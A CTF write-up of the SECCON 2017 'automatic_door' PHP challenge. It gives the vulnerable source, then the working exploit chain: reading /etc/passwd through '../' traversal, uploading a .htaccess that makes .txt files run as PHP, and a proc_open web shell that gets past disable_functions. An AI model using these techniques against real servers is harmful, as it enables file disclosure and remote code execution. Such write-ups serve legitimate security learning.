Description#
automatic_door Seccon2017 [500]
Get shell, and execute /flag_x
http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/
Skip Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
| <?php
$fail = str_repeat('fail', 100);
$d = 'sandbox/FAIL_' . sha1($_SERVER['REMOTE_ADDR'] . '95aca804b832f4c329d8c0e7c789b02b') . '/';
@mkdir($d);
function read_ok($f)
{
return strstr($f, 'FAIL_') === FALSE &&
strstr($f, '/proc/') === FALSE &&
strstr($f, '/dev/') === FALSE;
}
function write_ok($f)
{
return strstr($f, '..') === FALSE && read_ok($f);
}
function GetDirectorySize($path)
{
$bytestotal = 0;
$path = realpath($path);
if ($path !== false && $path != '' && file_exists($path)) {
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object) {
$bytestotal += $object->getSize();
}
}
return $bytestotal;
}
if (isset($_GET['action'])) {
if ($_GET['action'] == 'pwd') {
echo $d;
exit;
}
else if ($_GET['action'] == 'phpinfo') {
phpinfo();
exit;
}
else if ($_GET['action'] == 'read') {
$f = $_GET['filename'];
if (read_ok($f))
echo file_get_contents($d . $f);
else
echo $fail;
exit;
} else if ($_GET['action'] == 'write') {
$f = $_GET['filename'];
if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
print_r($_FILES['file']);
print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
}
else
echo $fail;
if (GetDirectorySize($d) > 10000) {
rmdir($d);
}
exit;
} else if ($_GET['action'] == 'delete') {
$f = $_GET['filename'];
if (write_ok($f))
print_r(unlink($d . $f));
else
echo $fail;
exit;
}
}
highlight_file(__FILE__);
|
Solution#
First we see that there are different actions (pwd
, phpinfo
, read
, write
and delete
). I checked the phpinfo page first to get some more information.
Important stuff i noticed:
- php7
- apache2 (.htaccess might be possible)
- disable_functions:
- […], pcntl_exec,exec,passthru,popen,shell_exec,system (proc_open not in list!!!)
I also gathered some infos with the read
action as it was possible to read any file on the system.
1
| http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action= read&filename=../../../../../../../../../../etc/passwd
|
The first thing that came to mind was to upload a .htaccess
file and change php.ini settings or enable other file-extensions to be run as php.
So lets write a .htaccess
file:
1
| http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action= write&filename=.htaccess
|
I uploaded the file by adding this form to the page and then used burp afterwards.
1
2
3
4
| <form action="" method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
|
.htaccess
:
1
| AddType application/x-httpd-php .txt
|
Next i used proc_open
, as it was not disabled, to run the /flag_x executable to get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| test
<?php
$cwd='';
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a") );
$process = proc_open("/flag_x", $descriptorspec, $pipes, $cwd);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
?>
test
|
Now we just need to go to the file and it will be executed with php. I used the pwd
action to get my sandbox url.
1
| /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/b.txt
|
And we get the flag! ๐
1
2
3
| test
SECCON{f6c085facd0897b47f5f1d7687030ae7}
test
|
The challange was nice but seemed a bit to easy for 500 points. Still overall a nice CTF.